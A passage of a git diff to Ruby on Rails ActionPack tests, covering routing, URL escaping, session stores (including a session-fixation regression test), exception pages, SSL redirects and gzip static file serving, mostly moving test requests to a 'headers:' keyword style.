+    end
+
+    assert_equal '/comments/1', bar_comment_path('1')
+  end
+
+  def test_scope_shallow_path_is_not_overwritten_by_path
+    draw do
+      scope path: 'foo', shallow_path: 'bar' do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
+    end
+
+    assert_equal '/bar/comments/1', comment_path('1')
+  end
+
+  def test_resource_where_as_is_empty
+    draw do
+      resource :post, as: ''
+
+      scope 'post', as: 'post' do
+        resource :comment, as: ''
+      end
+    end
+
+    assert_equal '/post/new', new_path
+    assert_equal '/post/comment/new', new_post_path
+  end
+
+  def test_resources_where_as_is_empty
+    draw do
+      resources :posts, as: ''
+
+      scope 'posts', as: 'posts' do
+        resources :comments, as: ''
+      end
+    end
+
+    assert_equal '/posts/new', new_path
+    assert_equal '/posts/comments/new', new_posts_path
+  end
+
+  def test_scope_where_as_is_empty
+    draw do
+      scope 'post', as: '' do
+        resource :user
+        resources :comments
+      end
+    end
+
+    assert_equal '/post/user/new', new_user_path
+    assert_equal '/post/comments/new', new_comment_path
+  end
+
+  def test_head_fetch_with_mount_on_root
+    draw do
+      get '/home' => 'test#index'
+      mount lambda { |env| [404, {"Content-Type" => "text/html"}, ["testing"]] }, at: '/'
+    end
+    head '/home'
+    assert_response :success
+
+    head '/'
+    assert_response :not_found
+  end
+
 private
 
   def draw(&block)
     self.class.stub_controllers do |routes|
-      @app = routes
-      @app.default_url_options = { host: 'www.example.com' }
-      @app.draw(&block)
+      routes.default_url_options = { host: 'www.example.com' }
+      routes.draw(&block)
+      @app = RoutedRackApp.new routes
     end
   end
 
   def url_for(options = {})
-    @app.url_helpers.url_for(options)
+    @app.routes.url_helpers.url_for(options)
   end
 
   def method_missing(method, *args, &block)
     if method.to_s =~ /_(path|url)$/
-      @app.url_helpers.send(method, *args, &block)
+      @app.routes.url_helpers.send(method, *args, &block)
     else
       super
     end
@@ -2894,12 +3532,14 @@ end
 
 class TestAltApp < ActionDispatch::IntegrationTest
   class AltRequest
+    attr_accessor :path_parameters, :path_info, :script_name
+    attr_reader :env
+
     def initialize(env)
+      @path_parameters = {}
       @env = env
-    end
-
-    def path_info
-      "/"
+      @path_info = "/"
+      @script_name = ""
     end
 
     def request_method
@@ -2933,8 +3573,10 @@ class TestAltApp < ActionDispatch::IntegrationTest
     get "/" => TestAltApp::AltApp.new
   end
 
+  APP = build_app AltRoutes
+
   def app
-    AltRoutes
+    APP
   end
 
   def test_alt_request_without_header
@@ -2943,12 +3585,12 @@ class TestAltApp < ActionDispatch::IntegrationTest
   end
 
   def test_alt_request_with_matched_header
-    get "/", {}, "HTTP_X_HEADER" => "HEADER"
+    get "/", headers: { "HTTP_X_HEADER" => "HEADER" }
     assert_equal "XHeader", @response.body
   end
 
   def test_alt_request_with_unmatched_header
-    get "/", {}, "HTTP_X_HEADER" => "NON_MATCH"
+    get "/", headers: { "HTTP_X_HEADER" => "NON_MATCH" }
     assert_equal "Alternative App", @response.body
   end
 end
@@ -2961,15 +3603,16 @@ class TestAppendingRoutes < ActionDispatch::IntegrationTest
   def setup
     super
     s = self
-    @app = ActionDispatch::Routing::RouteSet.new
-    @app.append do
+    routes = ActionDispatch::Routing::RouteSet.new
+    routes.append do
       get '/hello'   => s.simple_app('fail')
       get '/goodbye' => s.simple_app('goodbye')
     end
 
-    @app.draw do
+    routes.draw do
       get '/hello' => s.simple_app('hello')
     end
+    @app = self.class.build_app routes
   end
 
   def test_goodbye_should_be_available
@@ -2998,8 +3641,36 @@ class TestNamespaceWithControllerOption < ActionDispatch::IntegrationTest
   end
 
   def draw(&block)
-    @app = ActionDispatch::Routing::RouteSet.new
-    @app.draw(&block)
+    routes = ActionDispatch::Routing::RouteSet.new
+    routes.draw(&block)
+    @app = self.class.build_app routes
+  end
+
+  def test_missing_controller
+    ex = assert_raises(ArgumentError) {
+      draw do
+        get '/foo/bar', :action => :index
+      end
+    }
+    assert_match(/Missing :controller/, ex.message)
+  end
+
+  def test_missing_controller_with_to
+    ex = assert_raises(ArgumentError) {
+      draw do
+        get '/foo/bar', :to => 'foo'
+      end
+    }
+    assert_match(/Missing :controller/, ex.message)
+  end
+
+  def test_missing_action_on_hash
+    ex = assert_raises(ArgumentError) {
+      draw do
+        get '/foo/bar', :to => 'foo#'
+      end
+    }
+    assert_match(/Missing :action/, ex.message)
   end
 
   def test_valid_controller_options_inside_namespace
@@ -3018,7 +3689,7 @@ class TestNamespaceWithControllerOption < ActionDispatch::IntegrationTest
       resources :storage_files, :controller => 'admin/storage_files'
     end
 
-    get 'storage_files'
+    get '/storage_files'
     assert_equal "admin/storage_files#index", @response.body
   end
 
@@ -3043,6 +3714,16 @@ class TestNamespaceWithControllerOption < ActionDispatch::IntegrationTest
 
     assert_match "'Admin::StorageFiles' is not a supported controller name", e.message
   end
+
+  def test_warn_with_ruby_constant_syntax_no_colons
+    e = assert_raise(ArgumentError) do
+      draw do
+        resources :storage_files, :controller => 'Admin'
+      end
+    end
+
+    assert_match "'Admin' is not a supported controller name", e.message
+  end
 end
 
 class TestDefaultScope < ActionDispatch::IntegrationTest
@@ -3060,8 +3741,10 @@ class TestDefaultScope < ActionDispatch::IntegrationTest
     resources :posts
   end
 
+  APP = build_app DefaultScopeRoutes
+
   def app
-    DefaultScopeRoutes
+    APP
   end
 
   include DefaultScopeRoutes.url_helpers
@@ -3079,26 +3762,30 @@ class TestHttpMethods < ActionDispatch::IntegrationTest
   RFC3648 = %w(ORDERPATCH)
   RFC3744 = %w(ACL)
   RFC5323 = %w(SEARCH)
+  RFC4791 = %w(MKCALENDAR)
   RFC5789 = %w(PATCH)
 
   def simple_app(response)
     lambda { |env| [ 200, { 'Content-Type' => 'text/plain' }, [response] ] }
   end
 
-  setup do
+  attr_reader :app
+
+  def setup
     s = self
-    @app = ActionDispatch::Routing::RouteSet.new
+    routes = ActionDispatch::Routing::RouteSet.new
+    @app = RoutedRackApp.new routes
 
-    @app.draw do
-      (RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC5789).each do |method|
+    routes.draw do
+      (RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC4791 + RFC5789).each do |method|
         match '/' => s.simple_app(method), :via => method.underscore.to_sym
       end
     end
   end
 
-  (RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC5789).each do |method|
+  (RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC4791 + RFC5789).each do |method|
     test "request method #{method.underscore} can be matched" do
-      get '/', nil, 'REQUEST_METHOD' => method
+      get '/', headers: { 'REQUEST_METHOD' => method }
       assert_equal method, @response.body
     end
   end
@@ -3120,10 +3807,11 @@ class TestUriPathEscaping < ActionDispatch::IntegrationTest
   end
 
   include Routes.url_helpers
-  def app; Routes end
+  APP = build_app Routes
+  def app; APP end
 
-  test 'escapes generated path segment' do
-    assert_equal '/a%20b/c+d', segment_path(:segment => 'a b/c+d')
+  test 'escapes slash in generated path segment' do
+    assert_equal '/a%20b%2Fc+d', segment_path(:segment => 'a b/c+d')
   end
 
   test 'unescapes recognized path segment' do
@@ -3131,7 +3819,7 @@ class TestUriPathEscaping < ActionDispatch::IntegrationTest
     assert_equal 'a b/c+d', @response.body
   end
 
-  test 'escapes generated path splat' do
+  test 'does not escape slash in generated path splat' do
     assert_equal '/a%20b/c+d', splat_path(:splat => 'a b/c+d')
   end
 
@@ -3151,7 +3839,8 @@ class TestUnicodePaths < ActionDispatch::IntegrationTest
   end
 
   include Routes.url_helpers
-  def app; Routes end
+  APP = build_app Routes
+  def app; APP end
 
   test 'recognizes unicode path' do
     get "/#{Rack::Utils.escape("ほげ")}"
@@ -3182,7 +3871,8 @@ class TestMultipleNestedController < ActionDispatch::IntegrationTest
   end
 
   include Routes.url_helpers
-  def app; Routes end
+  APP = build_app Routes
+  def app; APP end
 
   test "controller option which starts with '/' from multiple nested controller" do
     get "/foo/bar/baz"
@@ -3201,7 +3891,8 @@ class TestTildeAndMinusPaths < ActionDispatch::IntegrationTest
   end
 
   include Routes.url_helpers
-  def app; Routes end
+  APP = build_app Routes
+  def app; APP end
 
   test 'recognizes tilde path' do
     get "/~user"
@@ -3222,11 +3913,14 @@ class TestRedirectInterpolation < ActionDispatch::IntegrationTest
 
       get "/foo/:id" => redirect("/foo/bar/%{id}")
       get "/bar/:id" => redirect(:path => "/foo/bar/%{id}")
+      get "/baz/:id" => redirect("/baz?id=%{id}&foo=?&bar=1#id-%{id}")
       get "/foo/bar/:id" => ok
+      get "/baz" => ok
     end
   end
 
-  def app; Routes end
+  APP = build_app Routes
+  def app; APP end
 
   test "redirect escapes interpolated parameters with redirect proc" do
     get "/foo/1%3E"
@@ -3238,6 +3932,14 @@ class TestRedirectInterpolation < ActionDispatch::IntegrationTest
     verify_redirect "http://www.example.com/foo/bar/1%3E"
   end
 
+  test "path redirect escapes interpolated parameters correctly" do
+    get "/foo/1%201"
+    verify_redirect "http://www.example.com/foo/bar/1%201"
+
+    get "/baz/1%201"
+    verify_redirect "http://www.example.com/baz?id=1+1&foo=?&bar=1#id-1%201"
+  end
+
 private
   def verify_redirect(url, status=301)
     assert_equal status, @response.status
@@ -3260,7 +3962,8 @@ class TestConstraintsAccessingParameters < ActionDispatch::IntegrationTest
     end
   end
 
-  def app; Routes end
+  APP = build_app Routes
+  def app; APP end
 
   test "parameters are reset between constraint checks" do
     get "/bar"
@@ -3280,7 +3983,8 @@ class TestGlobRoutingMapper < ActionDispatch::IntegrationTest
   end
 
   #include Routes.url_helpers
-  def app; Routes end
+  APP = build_app Routes
+  def app; APP end
 
   def test_glob_constraint
     get "/dummy"
@@ -3304,11 +4008,16 @@ class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
       ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
       get '/foo' => ok, as: :foo
       get '/post(/:action(/:id))' => ok, as: :posts
+      get '/:foo/:foo_type/bars/:id' => ok, as: :bar
+      get '/projects/:id.:format' => ok, as: :project
+      get '/pages/:id' => ok, as: :page
+      get '/wiki/*page' => ok, as: :wiki
     end
   end
 
   include Routes.url_helpers
-  def app; Routes end
+  APP = build_app Routes
+  def app; APP end
 
   test 'enabled when not mounted and default_url_options is empty' do
     assert Routes.url_helpers.optimize_routes_generation?
@@ -3326,6 +4035,36 @@ class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
     assert_equal '/post', Routes.url_helpers.posts_path
     assert_equal '/post', posts_path
   end
+
+  test 'segments with same prefix are replaced correctly' do
+    assert_equal '/foo/baz/bars/1', Routes.url_helpers.bar_path('foo', 'baz', '1')
+    assert_equal '/foo/baz/bars/1', bar_path('foo', 'baz', '1')
+  end
+
+  test 'segments separated with a period are replaced correctly' do
+    assert_equal '/projects/1.json', Routes.url_helpers.project_path(1, :json)
+    assert_equal '/projects/1.json', project_path(1, :json)
+  end
+
+  test 'segments with question marks are escaped' do
+    assert_equal '/pages/foo%3Fbar', Routes.url_helpers.page_path('foo?bar')
+    assert_equal '/pages/foo%3Fbar', page_path('foo?bar')
+  end
+
+  test 'segments with slashes are escaped' do
+    assert_equal '/pages/foo%2Fbar', Routes.url_helpers.page_path('foo/bar')
+    assert_equal '/pages/foo%2Fbar', page_path('foo/bar')
+  end
+
+  test 'glob segments with question marks are escaped' do
+    assert_equal '/wiki/foo%3Fbar', Routes.url_helpers.wiki_path('foo?bar')
+    assert_equal '/wiki/foo%3Fbar', wiki_path('foo?bar')
+  end
+
+  test 'glob segments with slashes are not escaped' do
+    assert_equal '/wiki/foo/bar', Routes.url_helpers.wiki_path('foo/bar')
+    assert_equal '/wiki/foo/bar', wiki_path('foo/bar')
+  end
 end
 
 class TestNamedRouteUrlHelpers < ActionDispatch::IntegrationTest
@@ -3350,7 +4089,8 @@ class TestNamedRouteUrlHelpers < ActionDispatch::IntegrationTest
     end
   end
 
-  def app; Routes end
+  APP = build_app Routes
+  def app; APP end
 
   include Routes.url_helpers
 
@@ -3385,7 +4125,8 @@ class TestUrlConstraints < ActionDispatch::IntegrationTest
   end
 
   include Routes.url_helpers
-  def app; Routes end
+  APP = build_app Routes
+  def app; APP end
 
   test "constraints are copied to defaults when using constraints method" do
     assert_equal 'http://admin.example.com/', admin_root_url
@@ -3439,7 +4180,7 @@ class TestInvalidUrls < ActionDispatch::IntegrationTest
       set.draw do
         get "/bar/:id", :to => redirect("/foo/show/%{id}")
         get "/foo/show(/:id)", :to => "test_invalid_urls/foo#show"
-        get "/foo(/:action(/:id))", :to => "test_invalid_urls/foo"
+        get "/foo(/:action(/:id))", :controller => "test_invalid_urls/foo"
         get "/:controller(/:action(/:id))"
       end
 
@@ -3466,8 +4207,9 @@ class TestOptionalRootSegments < ActionDispatch::IntegrationTest
     end
   end
 
+  APP = build_app Routes
   def app
-    Routes
+    APP
   end
 
   include Routes.url_helpers
@@ -3498,7 +4240,8 @@ class TestPortConstraints < ActionDispatch::IntegrationTest
   end
 
   include Routes.url_helpers
-  def app; Routes end
+  APP = build_app Routes
+  def app; APP end
 
   def test_integer_port_constraints
     get 'http://www.example.com/integer'
@@ -3546,7 +4289,8 @@ class TestFormatConstraints < ActionDispatch::IntegrationTest
   end
 
   include Routes.url_helpers
-  def app; Routes end
+  APP = build_app Routes
+  def app; APP end
 
   def test_string_format_constraints
     get 'http://www.example.com/string'
@@ -3593,6 +4337,17 @@ class TestFormatConstraints < ActionDispatch::IntegrationTest
   end
 end
 
+class TestCallableConstraintValidation < ActionDispatch::IntegrationTest
+  def test_constraint_with_object_not_callable
+    assert_raises(ArgumentError) do
+      ActionDispatch::Routing::RouteSet.new.draw do
+        ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+        get '/test', to: ok, constraints: Object.new
+      end
+    end
+  end
+end
+
 class TestRouteDefaults < ActionDispatch::IntegrationTest
   stub_controllers do |routes|
     Routes = routes
@@ -3602,8 +4357,9 @@ class TestRouteDefaults < ActionDispatch::IntegrationTest
     end
   end
 
+  APP = build_app Routes
   def app
-    Routes
+    APP
   end
 
   include Routes.url_helpers
@@ -3631,8 +4387,9 @@ class TestRackAppRouteGeneration < ActionDispatch::IntegrationTest
     end
   end
 
+  APP = build_app Routes
   def app
-    Routes
+    APP
   end
 
   include Routes.url_helpers
@@ -3657,8 +4414,9 @@ class TestRedirectRouteGeneration < ActionDispatch::IntegrationTest
     end
   end
 
+  APP = build_app Routes
   def app
-    Routes
+    APP
   end
 
   include Routes.url_helpers
@@ -3673,3 +4431,57 @@ class TestRedirectRouteGeneration < ActionDispatch::IntegrationTest
     end
   end
 end
+
+class TestUrlGenerationErrors < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      get "/products/:id" => 'products#show', :as => :product
+    end
+  end
+
+  APP = build_app Routes
+  def app; APP end
+
+  include Routes.url_helpers
+
+  test "url helpers raise a helpful error message when generation fails" do
+    url, missing = { action: 'show', controller: 'products', id: nil }, [:id]
+    message = "No route matches #{url.inspect} missing required keys: #{missing.inspect}"
+
+    # Optimized url helper
+    error = assert_raises(ActionController::UrlGenerationError){ product_path(nil) }
+    assert_equal message, error.message
+
+    # Non-optimized url helper
+    error = assert_raises(ActionController::UrlGenerationError, message){ product_path(id: nil) }
+    assert_equal message, error.message
+  end
+end
+
+class TestDefaultUrlOptions < ActionDispatch::IntegrationTest
+  class PostsController < ActionController::Base
+    def archive
+      render :text => "posts#archive"
+    end
+  end
+
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    default_url_options locale: 'en'
+    scope ':locale', format: false do
+      get '/posts/:year/:month/:day', to: 'posts#archive', as: 'archived_posts'
+    end
+  end
+
+  APP = build_app Routes
+
+  def app
+    APP
+  end
+
+  include Routes.url_helpers
+
+  def test_positional_args_with_format_false
+    assert_equal '/en/posts/2014/12/13', archived_posts_path(2014, 12, 13)
+  end
+end
diff --git a/actionpack/test/dispatch/session/cache_store_test.rb b/actionpack/test/dispatch/session/cache_store_test.rb
index b8479e8836..9f810cad01 100644
--- a/actionpack/test/dispatch/session/cache_store_test.rb
+++ b/actionpack/test/dispatch/session/cache_store_test.rb
@@ -148,16 +148,15 @@ class CacheStoreTest < ActionDispatch::IntegrationTest
 
   def test_prevents_session_fixation
     with_test_route_set do
-      get '/get_session_value'
-      assert_response :success
-      assert_equal 'foo: nil', response.body
-      session_id = cookies['_session_id']
+      assert_equal nil, @cache.read('_session_id:0xhax')
 
-      reset!
+      cookies['_session_id'] = '0xhax'
+      get '/set_session_value'
 
-      get '/set_session_value', :_session_id => session_id
       assert_response :success
-      assert_not_equal session_id, cookies['_session_id']
+      assert_not_equal '0xhax', cookies['_session_id']
+      assert_equal nil, @cache.read('_session_id:0xhax')
+      assert_equal({'foo' => 'bar'}, @cache.read("_session_id:#{cookies['_session_id']}"))
     end
   end
 
@@ -169,8 +168,8 @@ class CacheStoreTest < ActionDispatch::IntegrationTest
         end
 
         @app = self.class.build_app(set) do |middleware|
-          cache = ActiveSupport::Cache::MemoryStore.new
-          middleware.use ActionDispatch::Session::CacheStore, :key => '_session_id', :cache => cache
+          @cache = ActiveSupport::Cache::MemoryStore.new
+          middleware.use ActionDispatch::Session::CacheStore, :key => '_session_id', :cache => @cache
           middleware.delete "ActionDispatch::ShowExceptions"
         end
 
diff --git a/actionpack/test/dispatch/session/cookie_store_test.rb b/actionpack/test/dispatch/session/cookie_store_test.rb
index e99ff46edf..2194efa503 100644
--- a/actionpack/test/dispatch/session/cookie_store_test.rb
+++ b/actionpack/test/dispatch/session/cookie_store_test.rb
@@ -86,7 +86,7 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
       cookies[SessionKey] = SignedBar
       get '/persistent_session_id'
       assert_response :success
-      assert_equal response.body.size, 32
+      assert_equal 32, response.body.size
       session_id = response.body
 
       get '/get_session_id'
@@ -125,7 +125,7 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
 
   def test_does_set_secure_cookies_over_https
     with_test_route_set(:secure => true) do
-      get '/set_session_value', nil, 'HTTPS' => 'on'
+      get '/set_session_value', headers: { 'HTTPS' => 'on' }
       assert_response :success
       assert_equal "_myapp_session=#{response.body}; path=/; secure; HttpOnly",
         headers['Set-Cookie']
@@ -247,7 +247,7 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
       cookies[SessionKey] = SignedBar
       get '/persistent_session_id'
       assert_response :success
-      assert_equal response.body.size, 32
+      assert_equal 32, response.body.size
       session_id = response.body
       get '/persistent_session_id'
       assert_equal session_id, response.body
@@ -263,7 +263,7 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
 
       get "/get_session_id"
       sid = response.body
-      assert_equal sid.size, 36
+      assert_equal 36, sid.size
 
       get "/change_session_id"
       assert_not_equal sid, response.body
@@ -331,9 +331,11 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
   private
 
     # Overwrite get to send SessionSecret in env hash
-    def get(path, parameters = nil, env = {})
-      env["action_dispatch.key_generator"] ||= Generator
-      super
+    def get(path, *args)
+      args[0] ||= {}
+      args[0][:headers] ||= {}
+      args[0][:headers]["action_dispatch.key_generator"] ||= Generator
+      super(path, *args)
     end
 
     def with_test_route_set(options = {})
diff --git a/actionpack/test/dispatch/session/mem_cache_store_test.rb b/actionpack/test/dispatch/session/mem_cache_store_test.rb
index e53ce4195b..fbd82945cc 100644
--- a/actionpack/test/dispatch/session/mem_cache_store_test.rb
+++ b/actionpack/test/dispatch/session/mem_cache_store_test.rb
@@ -1,4 +1,5 @@
 require 'abstract_unit'
+require 'securerandom'
 
 # You need to start a memcached server inorder to run these tests
 class MemCacheStoreTest < ActionDispatch::IntegrationTest
@@ -48,6 +49,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
         assert_response :success
         assert_equal 'foo: "bar"', response.body
       end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
     end
 
     def test_getting_nil_session_value
@@ -56,6 +59,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
         assert_response :success
         assert_equal 'foo: nil', response.body
       end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
     end
 
     def test_getting_session_value_after_session_reset
@@ -75,6 +80,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
         assert_response :success
         assert_equal 'foo: nil', response.body, "data for this session should have been obliterated from memcached"
       end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
     end
 
     def test_getting_from_nonexistent_session
@@ -84,6 +91,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
         assert_equal 'foo: nil', response.body
         assert_nil cookies['_session_id'], "should only create session on write, not read"
       end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
     end
 
     def test_setting_session_value_after_session_reset
@@ -105,6 +114,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
         assert_response :success
         assert_not_equal session_id, response.body
       end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
     end
 
     def test_getting_session_id
@@ -118,6 +129,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
         assert_response :success
         assert_equal session_id, response.body, "should be able to read session id without accessing the session hash"
       end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
     end
 
     def test_deserializes_unloaded_class
@@ -132,6 +145,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
           assert_response :success
         end
       end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
     end
 
     def test_doesnt_write_session_cookie_if_session_id_is_already_exists
@@ -144,6 +159,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
         assert_response :success
         assert_equal nil, headers['Set-Cookie'], "should not resend the cookie again if session_id cookie is already exists"
       end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
     end
 
     def test_prevents_session_fixation
@@ -155,10 +172,12 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
 
         reset!
 
-        get '/set_session_value', :_session_id => session_id
+        get '/set_session_value', params: { _session_id: session_id }
         assert_response :success
         assert_not_equal session_id, cookies['_session_id']
       end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
     end
   rescue LoadError, RuntimeError, Dalli::DalliError
     $stderr.puts "Skipping MemCacheStoreTest tests. Start memcached and try again."
@@ -172,7 +191,7 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
         end
 
         @app = self.class.build_app(set) do |middleware|
-          middleware.use ActionDispatch::Session::MemCacheStore, :key => '_session_id'
+          middleware.use ActionDispatch::Session::MemCacheStore, :key => '_session_id', :namespace => "mem_cache_store_test:#{SecureRandom.hex(10)}"
           middleware.delete "ActionDispatch::ShowExceptions"
         end
 
diff --git a/actionpack/test/dispatch/show_exceptions_test.rb b/actionpack/test/dispatch/show_exceptions_test.rb
index 38bd234f37..72eaa916bc 100644
--- a/actionpack/test/dispatch/show_exceptions_test.rb
+++ b/actionpack/test/dispatch/show_exceptions_test.rb
@@ -27,30 +27,30 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
   test "skip exceptions app if not showing exceptions" do
     @app = ProductionApp
     assert_raise RuntimeError do
-      get "/", {}, {'action_dispatch.show_exceptions' => false}
+      get "/", headers: { 'action_dispatch.show_exceptions' => false }
     end
   end
 
   test "rescue with error page" do
     @app = ProductionApp
 
-    get "/", {}, {'action_dispatch.show_exceptions' => true}
+    get "/", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 500
     assert_equal "500 error fixture\n", body
-    
-    get "/bad_params", {}, {'action_dispatch.show_exceptions' => true}
+
+    get "/bad_params", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 400
     assert_equal "400 error fixture\n", body
 
-    get "/not_found", {}, {'action_dispatch.show_exceptions' => true}
+    get "/not_found", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 404
     assert_equal "404 error fixture\n", body
 
-    get "/method_not_allowed", {}, {'action_dispatch.show_exceptions' => true}
+    get "/method_not_allowed", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 405
     assert_equal "", body
 
-    get "/unknown_http_method", {}, {'action_dispatch.show_exceptions' => true}
+    get "/unknown_http_method", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 405
     assert_equal "", body
   end
@@ -61,11 +61,11 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
     begin
       @app = ProductionApp
 
-      get "/", {}, {'action_dispatch.show_exceptions' => true}
+      get "/", headers: { 'action_dispatch.show_exceptions' => true }
       assert_response 500
       assert_equal "500 localized error fixture\n", body
 
-      get "/not_found", {}, {'action_dispatch.show_exceptions' => true}
+      get "/not_found", headers: { 'action_dispatch.show_exceptions' => true }
       assert_response 404
       assert_equal "404 error fixture\n", body
     ensure
@@ -76,14 +76,14 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
   test "sets the HTTP charset parameter" do
     @app = ProductionApp
 
-    get "/", {}, {'action_dispatch.show_exceptions' => true}
+    get "/", headers: { 'action_dispatch.show_exceptions' => true }
     assert_equal "text/html; charset=utf-8", response.headers["Content-Type"]
   end
 
   test "show registered original exception for wrapped exceptions" do
     @app = ProductionApp
 
-    get "/not_found_original_exception", {}, {'action_dispatch.show_exceptions' => true}
+    get "/not_found_original_exception", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 404
     assert_match(/404 error/, body)
   end
@@ -92,11 +92,12 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
     exceptions_app = lambda do |env|
       assert_kind_of AbstractController::ActionNotFound, env["action_dispatch.exception"]
       assert_equal "/404", env["PATH_INFO"]
+      assert_equal "/not_found_original_exception", env["action_dispatch.original_path"]
       [404, { "Content-Type" => "text/plain" }, ["YOU FAILED BRO"]]
     end
 
     @app = ActionDispatch::ShowExceptions.new(Boomer.new, exceptions_app)
-    get "/not_found_original_exception", {}, {'action_dispatch.show_exceptions' => true}
+    get "/not_found_original_exception", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 404
     assert_equal "YOU FAILED BRO", body
   end
@@ -107,7 +108,7 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
     end
 
     @app = ActionDispatch::ShowExceptions.new(Boomer.new, exceptions_app)
-    get "/method_not_allowed", {}, {'action_dispatch.show_exceptions' => true}
+    get "/method_not_allowed", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 405
     assert_equal "", body
   end
diff --git a/actionpack/test/dispatch/ssl_test.rb b/actionpack/test/dispatch/ssl_test.rb
index 94969f795a..7ced41bc2e 100644
--- a/actionpack/test/dispatch/ssl_test.rb
+++ b/actionpack/test/dispatch/ssl_test.rb
@@ -20,7 +20,7 @@ class SSLTest < ActionDispatch::IntegrationTest
   end
 
   def test_allows_https_proxy_header_url
-    get "http://example.org/", {}, 'HTTP_X_FORWARDED_PROTO' => "https"
+    get "http://example.org/", headers: { 'HTTP_X_FORWARDED_PROTO' => "https" }
     assert_response :success
   end
 
@@ -196,6 +196,13 @@ class SSLTest < ActionDispatch::IntegrationTest
       response.headers['Location']
   end
 
+  def test_redirect_to_host_with_port
+    self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org:443")
+    get "http://example.org/path?key=value"
+    assert_equal "https://ssl.example.org:443/path?key=value",
+      response.headers['Location']
+  end
+
   def test_redirect_to_secure_host_when_on_subdomain
     self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org")
     get "http://ssl.example.org/path?key=value"
diff --git a/actionpack/test/dispatch/static_test.rb b/actionpack/test/dispatch/static_test.rb
index 112f470786..ebc9d71403 100644
--- a/actionpack/test/dispatch/static_test.rb
+++ b/actionpack/test/dispatch/static_test.rb
@@ -1,6 +1,5 @@
-# encoding: utf-8
 require 'abstract_unit'
-require 'rbconfig'
+require 'zlib'
 
 module StaticTests
   def test_serves_dynamic_content
@@ -36,7 +35,13 @@ module StaticTests
     assert_html "/foo/index.html", get("/foo")
   end
 
+  def test_serves_file_with_same_name_before_index_in_directory
+    assert_html "/bar.html", get("/bar")
+  end
+
   def test_served_static_file_with_non_english_filename
+    jruby_skip "Stop skipping if following bug gets fixed: " \
+      "http://jira.codehaus.org/browse/JRUBY-7192"
     assert_html "means hello in Japanese\n", get("/foo/#{Rack::Utils.escape("こんにちは.html")}")
   end
 
@@ -104,6 +109,40 @@ module StaticTests
     end
   end
 
+  def test_serves_gzip_files_when_header_set
+    file_name = "/gzip/application-a71b3024f80aea3181c09774ca17e712.js"
+    response  = get(file_name, 'HTTP_ACCEPT_ENCODING' => 'gzip')
+    assert_gzip  file_name, response
+    assert_equal 'application/javascript', response.headers['Content-Type']
+    assert_equal 'Accept-Encoding',        response.headers["Vary"]
+    assert_equal 'gzip',                   response.headers["Content-Encoding"]
+
+    response  = get(file_name, 'HTTP_ACCEPT_ENCODING' => 'Gzip')
+    assert_gzip  file_name, response
+
+    response  = get(file_name, 'HTTP_ACCEPT_ENCODING' => 'GZIP')
+    assert_gzip  file_name, response
+
+    response  = get(file_name, 'HTTP_ACCEPT_ENCODING' => '')
+    assert_not_equal 'gzip', response.headers["Content-Encoding"]
+  end
+
+  def test_does_not_modify_path_info
+    file_name = "/gzip/application-a71b3024f80aea3181c09774ca17e712.js"
+    env = {'PATH_INFO' => file_name, 'HTTP_ACCEPT_ENCODING' => 'gzip'}
+    @app.call(env)
+    assert_equal file_name, env['PATH_INFO']
+  end
+
+  def test_serves_gzip_with_propper_content_type_fallback
+    file_name = "/gzip/foo.zoo"
+    response  = get(file_name, 'HTTP_ACCEPT_ENCODING' => 'gzip')
+    assert_gzip  file_name, response
+
+    default_response = get(file_name) # no gzip
+    assert_equal default_response.headers['Content-Type'], response.headers['Content-Type']
+  end
+
   # Windows doesn't allow \ / : * ? " < > | in filenames
